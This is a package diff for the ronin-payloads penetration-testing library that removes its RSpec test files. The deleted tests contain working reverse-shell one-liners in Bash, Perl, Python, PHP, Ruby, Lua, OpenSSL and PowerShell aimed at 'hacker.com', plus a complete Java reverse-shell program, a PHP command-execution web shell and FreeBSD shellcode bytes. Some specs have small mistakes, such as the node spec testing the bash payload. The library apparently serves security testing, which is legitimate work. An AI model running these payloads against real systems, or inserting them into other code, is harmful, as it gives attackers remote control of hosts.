ronin-payloads 0.1.0.beta1 → 0.1.0

data/spec/builtin/cmd/lua/reverse_shell_spec.rb

@@ -1,38 +0,0 @@
-require 'spec_helper'
-require 'ronin/payloads/builtin/cmd/lua/reverse_shell'
-
-describe Ronin::Payloads::CMD::Lua::ReverseShell do
-  it "must inherit from Ronin::Payloads::CommandPayload" do
-    expect(described_class).to be < Ronin::Payloads::CommandPayload
-  end
-
-  describe ".id" do
-    subject { described_class }
-
-    it "must equal 'cmd/lua/reverse_shell'" do
-      expect(subject.id).to eq('cmd/lua/reverse_shell')
-    end
-  end
-
-  let(:host) { 'hacker.com' }
-  let(:port) { 1337 }
-
-  subject do
-    described_class.new(
-      params: {
-        host: host,
-        port: port
-      }
-    )
-  end
-
-  describe "#build" do
-    before { subject.build }
-
-    it "must build an `lua` command that connects back to the host and port params" do
-      expect(subject.payload).to eq(
-        %{lua -e "require('socket');require('os');t=socket.tcp();t:connect('#{host}','#{port}');os.execute('/bin/sh -i <&3 >&3 2>&3');"}
-      )
-    end
-  end
-end

data/spec/builtin/cmd/node/reverse_shell_spec.rb

@@ -1,36 +0,0 @@
-require 'spec_helper'
-require 'ronin/payloads/builtin/cmd/bash/reverse_shell'
-
-describe Ronin::Payloads::CMD::Bash::ReverseShell do
-  it "must inherit from Ronin::Payloads::CommandPayload" do
-    expect(described_class).to be < Ronin::Payloads::CommandPayload
-  end
-
-  describe ".id" do
-    subject { described_class }
-
-    it "must equal 'cmd/bash/reverse_shell'" do
-      expect(subject.id).to eq('cmd/bash/reverse_shell')
-    end
-  end
-
-  let(:host) { 'hacker.com' }
-  let(:port) { 1337 }
-
-  subject do
-    described_class.new(
-      params: {
-        host: host,
-        port: port
-      }
-    )
-  end
-
-  describe "#build" do
-    before { subject.build }
-
-    it "must build an `bash` command that connects back to the host and port params" do
-      expect(subject.payload).to eq("bash -i >& /dev/tcp/#{host}/#{port} 0>&1")
-    end
-  end
-end

data/spec/builtin/cmd/openssl/reverse_shell_spec.rb

@@ -1,38 +0,0 @@
-require 'spec_helper'
-require 'ronin/payloads/builtin/cmd/openssl/reverse_shell'
-
-describe Ronin::Payloads::CMD::OpenSSL::ReverseShell do
-  it "must inherit from Ronin::Payloads::CommandPayload" do
-    expect(described_class).to be < Ronin::Payloads::CommandPayload
-  end
-
-  describe ".id" do
-    subject { described_class }
-
-    it "must equal 'cmd/openssl/reverse_shell'" do
-      expect(subject.id).to eq('cmd/openssl/reverse_shell')
-    end
-  end
-
-  let(:host) { 'hacker.com' }
-  let(:port) { 1337 }
-
-  subject do
-    described_class.new(
-      params: {
-        host: host,
-        port: port
-      }
-    )
-  end
-
-  describe "#build" do
-    before { subject.build }
-
-    it "must build an `openssl` command that connects back to the host and port params" do
-      expect(subject.payload).to eq(
-        %{mkfifo fifo; /bin/sh -i < fifo 2>&1 | openssl s_client -quiet -connect #{host}:#{port} > fifo; rm fifo}
-      )
-    end
-  end
-end

data/spec/builtin/cmd/perl/reverse_shell_spec.rb

@@ -1,38 +0,0 @@
-require 'spec_helper'
-require 'ronin/payloads/builtin/cmd/perl/reverse_shell'
-
-describe Ronin::Payloads::CMD::Perl::ReverseShell do
-  it "must inherit from Ronin::Payloads::CommandPayload" do
-    expect(described_class).to be < Ronin::Payloads::CommandPayload
-  end
-
-  describe ".id" do
-    subject { described_class }
-
-    it "must equal 'cmd/perl/reverse_shell'" do
-      expect(subject.id).to eq('cmd/perl/reverse_shell')
-    end
-  end
-
-  let(:host) { 'hacker.com' }
-  let(:port) { 1337 }
-
-  subject do
-    described_class.new(
-      params: {
-        host: host,
-        port: port
-      }
-    )
-  end
-
-  describe "#build" do
-    before { subject.build }
-
-    it "must build an `perl` command that connects back to the host and port params" do
-      expect(subject.payload).to eq(
-        %{perl -e 'use Socket;$i=#{host.dump};$p=#{port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'}
-      )
-    end
-  end
-end

data/spec/builtin/cmd/php/reverse_shell_spec.rb

@@ -1,38 +0,0 @@
-require 'spec_helper'
-require 'ronin/payloads/builtin/cmd/php/reverse_shell'
-
-describe Ronin::Payloads::CMD::PHP::ReverseShell do
-  it "must inherit from Ronin::Payloads::CommandPayload" do
-    expect(described_class).to be < Ronin::Payloads::CommandPayload
-  end
-
-  describe ".id" do
-    subject { described_class }
-
-    it "must equal 'cmd/php/reverse_shell'" do
-      expect(subject.id).to eq('cmd/php/reverse_shell')
-    end
-  end
-
-  let(:host) { 'hacker.com' }
-  let(:port) { 1337 }
-
-  subject do
-    described_class.new(
-      params: {
-        host: host,
-        port: port
-      }
-    )
-  end
-
-  describe "#build" do
-    before { subject.build }
-
-    it "must build an `php` command that connects back to the host and port params" do
-      expect(subject.payload).to eq(
-        %{php -r '$sock=fsockopen(#{host.dump},#{port});exec("/bin/sh -i <&3 >&3 2>&3");'}
-      )
-    end
-  end
-end

data/spec/builtin/cmd/powershell/reverse_shell_spec.rb

@@ -1,38 +0,0 @@
-require 'spec_helper'
-require 'ronin/payloads/builtin/cmd/powershell/reverse_shell'
-
-describe Ronin::Payloads::CMD::PowerShell::ReverseShell do
-  it "must inherit from Ronin::Payloads::CommandPayload" do
-    expect(described_class).to be < Ronin::Payloads::CommandPayload
-  end
-
-  describe ".id" do
-    subject { described_class }
-
-    it "must equal 'cmd/python/reverse_shell'" do
-      expect(subject.id).to eq('cmd/powershell/reverse_shell')
-    end
-  end
-
-  let(:host) { 'hacker.com' }
-  let(:port) { 1337 }
-
-  subject do
-    described_class.new(
-      params: {
-        host: host,
-        port: port
-      }
-    )
-  end
-
-  describe "#build" do
-    before { subject.build }
-
-    it "must build an `powershell` command that connects back to the host and port params" do
-      expect(subject.payload).to eq(
-        %{powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(#{host.dump},#{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()}
-      )
-    end
-  end
-end

data/spec/builtin/cmd/python/reverse_shell_spec.rb

@@ -1,38 +0,0 @@
-require 'spec_helper'
-require 'ronin/payloads/builtin/cmd/python/reverse_shell'
-
-describe Ronin::Payloads::CMD::Python::ReverseShell do
-  it "must inherit from Ronin::Payloads::CommandPayload" do
-    expect(described_class).to be < Ronin::Payloads::CommandPayload
-  end
-
-  describe ".id" do
-    subject { described_class }
-
-    it "must equal 'cmd/python/reverse_shell'" do
-      expect(subject.id).to eq('cmd/python/reverse_shell')
-    end
-  end
-
-  let(:host) { 'hacker.com' }
-  let(:port) { 1337 }
-
-  subject do
-    described_class.new(
-      params: {
-        host: host,
-        port: port
-      }
-    )
-  end
-
-  describe "#build" do
-    before { subject.build }
-
-    it "must build an `python` command that connects back to the host and port params" do
-      expect(subject.payload).to eq(
-        %{python -c 'import socket,os,pty;s=socket.socket();s.connect((#{host.dump},#{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'}
-      )
-    end
-  end
-end

data/spec/builtin/cmd/ruby/reverse_shell_spec.rb

@@ -1,38 +0,0 @@
-require 'spec_helper'
-require 'ronin/payloads/builtin/cmd/ruby/reverse_shell'
-
-describe Ronin::Payloads::CMD::Ruby::ReverseShell do
-  it "must inherit from Ronin::Payloads::CommandPayload" do
-    expect(described_class).to be < Ronin::Payloads::CommandPayload
-  end
-
-  describe ".id" do
-    subject { described_class }
-
-    it "must equal 'cmd/ruby/reverse_shell'" do
-      expect(subject.id).to eq('cmd/ruby/reverse_shell')
-    end
-  end
-
-  let(:host) { 'hacker.com' }
-  let(:port) { 1337 }
-
-  subject do
-    described_class.new(
-      params: {
-        host: host,
-        port: port
-      }
-    )
-  end
-
-  describe "#build" do
-    before { subject.build }
-
-    it "must build an `ruby` command that connects back to the host and port params" do
-      expect(subject.payload).to eq(
-        %{ruby -rsocket -e'f=TCPSocket.open(#{host.dump},#{port}).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'}
-      )
-    end
-  end
-end

data/spec/builtin/java/reverse_shell_spec.rb

@@ -1,103 +0,0 @@
-require 'spec_helper'
-require 'ronin/payloads/builtin/java/reverse_shell'
-
-describe Ronin::Payloads::Java::ReverseShell do
-  it "must inherit from Ronin::Payloads::JavaPayload" do
-    expect(described_class).to be < Ronin::Payloads::JavaPayload
-  end
-
-  describe ".id" do
-    subject { described_class }
-
-    it "must equal 'java/reverse_shell'" do
-      expect(subject.id).to eq('java/reverse_shell')
-    end
-  end
-
-  let(:host) { 'hacker.com' }
-  let(:port) { 1337 }
-
-  subject do
-    described_class.new(
-      params: {
-        host: host,
-        port: port
-      }
-    )
-  end
-
-  describe "#build" do
-    before { subject.perform_build }
-
-    it "must generate generate a new .java file containing the host and port" do
-      expect(File.read(subject.java_file)).to eq(
-        <<~JAVA
-        import java.io.IOException;
-        import java.io.InputStream;
-        import java.io.OutputStream;
-        import java.net.Socket;
-
-        public class Payload
-        {
-        	public static void main(String argv[]) throws Exception
-        	{
-        		String host = "#{host}";
-        		int port = #{port};
-        		String shell = "/bin/sh";
-
-        		Process process = new ProcessBuilder(shell).redirectErrorStream(true).start();
-        		Socket socket = new Socket(host,port);
-
-        		InputStream process_input =process.getInputStream();
-        		InputStream process_error = process.getErrorStream();
-        		InputStream socket_input = socket.getInputStream();
-        		OutputStream process_output = process.getOutputStream();
-        		OutputStream socket_output = socket.getOutputStream();
-
-        		while (!socket.isClosed())
-        		{
-        			while (process_input.available()>0)
-        			{
-        				socket_output.write(process_input.read());
-        			}
-
-        			while (process_error.available()>0)
-        			{
-        				socket_output.write(process_error.read());
-        			}
-
-        			while (socket_input.available()>0)
-        			{
-        				process_output.write(socket_input.read());
-        			}
-
-        			socket_output.flush();
-        			process_output.flush();
-        			Thread.sleep(50);
-
-        			try
-        			{
-        				process.exitValue();
-        				break;
-        			}
-        			catch (Exception e) {}
-        		};
-
-        		process.destroy();
-        		socket.close();
-        	}
-        }
-        JAVA
-      )
-    end
-
-    it "must compile a new Java .class file" do
-      expect(File.file?(subject.class_file)).to be(true)
-      expect(File.empty?(subject.class_file)).to be(false)
-    end
-
-    it "must set #payload" do
-      expect(subject.payload).to eq(File.binread(subject.class_file))
-    end
-  end
-end

data/spec/builtin/php/cmd_exec.rb

@@ -1,52 +0,0 @@
-require 'spec_helper'
-require 'ronin/payloads/builtin/php/cmd_exec'
-
-describe Ronin::Payloads::PHP::CmdExec do
-  it "must inherit from Ronin::Payloads::JavaPayload" do
-    expect(described_class).to be < Ronin::Payloads::PHPPayload
-  end
-
-  describe ".id" do
-    subject { described_class }
-
-    it "must equal 'php/cmd_exec'" do
-      expect(subject.id).to eq('php/cmd_exec')
-    end
-  end
-
-  describe "params" do
-    describe "query_param" do
-      it "must default to 'cmd'" do
-        expect(subject.params[:query_param]).to eq('cmd')
-      end
-    end
-  end
-
-  describe "#build" do
-    before { subject.build }
-
-    it "must return PHP code that executes the command from the 'cmd' query_param and returns the output in <exec>...</exec> tags" do
-      expect(subject.payload).to eq(
-        %{<?php if(isset($_REQUEST["cmd")){echo "<exec>";passthru($_REQUEST["cmd"]);echo "</exec>";}?>}
-      )
-    end
-
-    context "when the query_param param is set to a different value" do
-      let(:query_param) { 'other' }
-
-      subject do
-        described_class.new(
-          params: {
-            query_param: query_param
-          }
-        )
-      end
-
-      it "must return PHP code that executes the command from the  query_param and returns the output in <exec>...</exec> tags" do
-        expect(subject.payload).to eq(
-          %{<?php if(isset($_REQUEST["#{query_param}")){echo "<exec>";passthru($_REQUEST["#{query_param}"]);echo "</exec>";}?>}
-        )
-      end
-    end
-  end
-end

data/spec/builtin/shellcode/freebsd/x86/bind_shell_spec.rb

@@ -1,58 +0,0 @@
-require 'spec_helper'
-require 'ronin/payloads/builtin/shellcode/freebsd/x86/bind_shell'
-
-describe Ronin::Payloads::Shellcode::FreeBSD::X86::BindShell do
-  it "must inherit from Ronin::Payloads::Shellcode::BindShellPayload" do
-    expect(described_class).to be < Ronin::Payloads::Shellcode::BindShellPayload
-  end
-
-  describe ".id" do
-    subject { described_class }
-
-    it "must equal 'shellcode/freebsd/x86/bind_shell'" do
-      expect(subject.id).to eq('shellcode/freebsd/x86/bind_shell')
-    end
-  end
-
-  describe ".arch" do
-    subject { described_class }
-
-    it "must equal :x86" do
-      expect(subject.arch).to be(:x86)
-    end
-  end
-
-  describe ".os" do
-    subject { described_class }
-
-    it "must equal :freebsd" do
-      expect(subject.os).to be(:freebsd)
-    end
-  end
-
-  let(:host) { 'example.com' }
-  let(:port) { 1337 }
-
-  subject do
-    described_class.new(
-      params: {
-        host: host,
-        port: port
-      }
-    )
-  end
-
-  describe "#build" do
-    before { subject.build }
-
-    it "must set #payload" do
-      expect(subject.payload).to eq(
-        "\xeb\x64\x5e\x31\xc0\x88\x46\x07\x6a\x06\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x89\xc2\x31\xc0\xc6\x46\x09\x02\x66\xc7\x46\x0a\x05\x39\x89\x46\x0c\x6a\x10\x8d\x46\x08\x50\x52\x31\xc0\xb0\x68\x50\xcd\x80\x6a\x01\x52\x31\xc0\xb0\x6a\x50\xcd\x80\x31\xc0\x50\x50\x52\xb0\x1e\x50\xcd\x80\xb1\x03\xbb\xff\xff\xff\xff\x89\xc2\x43\x53\x52\xb0\x5a\x50\xcd\x80\x80\xe9\x01\x75\xf3\x31\xc0\x50\x50\x56\xb0\x3b\x50\xcd\x80\xe8\x97\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23".b
-      )
-    end
-
-    it "must ensure #payload is an ASCII 8bit string" do
-      expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
-    end
-  end
-end

data/spec/builtin/shellcode/freebsd/x86/exec_shell_spec.rb

@@ -1,46 +0,0 @@
-require 'spec_helper'
-require 'ronin/payloads/builtin/shellcode/freebsd/x86/exec_shell'
-
-describe Ronin::Payloads::Shellcode::FreeBSD::X86::ExecShell do
-  it "must inherit from Ronin::Payloads::Shellcode::ExecShellPayload" do
-    expect(described_class).to be < Ronin::Payloads::Shellcode::ExecShellPayload
-  end
-
-  describe ".id" do
-    subject { described_class }
-
-    it "must equal 'shellcode/freebsd/x86/exec_shell'" do
-      expect(subject.id).to eq('shellcode/freebsd/x86/exec_shell')
-    end
-  end
-
-  describe ".arch" do
-    subject { described_class }
-
-    it "must equal :x86" do
-      expect(subject.arch).to be(:x86)
-    end
-  end
-
-  describe ".os" do
-    subject { described_class }
-
-    it "must equal :freebsd" do
-      expect(subject.os).to be(:freebsd)
-    end
-  end
-
-  describe "#build" do
-    before { subject.build }
-
-    it "must set #payload" do
-      expect(subject.payload).to eq(
-        "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80".b
-      )
-    end
-
-    it "must ensure #payload is an ASCII 8bit string" do
-      expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
-    end
-  end
-end

data/spec/builtin/shellcode/freebsd/x86/reverse_shell_spec.rb

@@ -1,63 +0,0 @@
-require 'spec_helper'
-require 'ronin/payloads/builtin/shellcode/freebsd/x86/reverse_shell'
-
-describe Ronin::Payloads::Shellcode::FreeBSD::X86::ReverseShell do
-  it "must inherit from Ronin::Payloads::Shellcode::ReverseShellPayload" do
-    expect(described_class).to be < Ronin::Payloads::Shellcode::ReverseShellPayload
-  end
-
-  describe ".id" do
-    subject { described_class }
-
-    it "must equal 'shellcode/freebsd/x86/reverse_shell'" do
-      expect(subject.id).to eq('shellcode/freebsd/x86/reverse_shell')
-    end
-  end
-
-  describe ".arch" do
-    subject { described_class }
-
-    it "must equal :x86" do
-      expect(subject.arch).to be(:x86)
-    end
-  end
-
-  describe ".os" do
-    subject { described_class }
-
-    it "must equal :freebsd" do
-      expect(subject.os).to be(:freebsd)
-    end
-  end
-
-  let(:host) { '127.0.0.1' }
-  let(:port) { 1337 }
-
-  subject do
-    described_class.new(
-      params: {
-        host: host,
-        port: port
-      }
-    )
-  end
-
-  describe "#build" do
-    before { subject.build }
-
-    it "must set #payload" do
-      expect(subject.payload).to eq(
-        "\x31\xc0\x50\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x89\xc2" \
-        "\x68\x7f\x00\x00\x01\x66\x68\x05\x39\x66\x68\x01\x02\x89" \
-        "\xe1\x6a\x10\x51\x52\x31\xc0\xb0\x62\x50\xcd\x80\x31\xc9" \
-        "\x51\x52\x31\xc0\xb0\x5a\x50\xcd\x80\xfe\xc1\x80\xf9\x03" \
-        "\x75\xf0\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" \
-        "\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80".b
-      )
-    end
-
-    it "must ensure #payload is an ASCII 8bit string" do
-      expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
-    end
-  end
-end

data/spec/builtin/shellcode/freebsd/x86_64/exec_shell_spec.rb

@@ -1,46 +0,0 @@
-require 'spec_helper'
-require 'ronin/payloads/builtin/shellcode/freebsd/x86_64/exec_shell'
-
-describe Ronin::Payloads::Shellcode::FreeBSD::X86_64::ExecShell do
-  it "must inherit from Ronin::Payloads::Shellcode::ExecShellPayload" do
-    expect(described_class).to be < Ronin::Payloads::Shellcode::ExecShellPayload
-  end
-
-  describe ".id" do
-    subject { described_class }
-
-    it "must equal 'shellcode/freebsd/x86_64/exec_shell'" do
-      expect(subject.id).to eq('shellcode/freebsd/x86_64/exec_shell')
-    end
-  end
-
-  describe ".arch" do
-    subject { described_class }
-
-    it "must equal :x86_64" do
-      expect(subject.arch).to be(:x86_64)
-    end
-  end
-
-  describe ".os" do
-    subject { described_class }
-
-    it "must equal :freebsd" do
-      expect(subject.os).to be(:freebsd)
-    end
-  end
-
-  describe "#build" do
-    before { subject.build }
-
-    it "must set #payload" do
-      expect(subject.payload).to eq(
-        "\x48\x31\xc9\x48\xf7\xe1\x04\x3b\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05".b
-      )
-    end
-
-    it "must ensure #payload is an ASCII 8bit string" do
-      expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
-    end
-  end
-end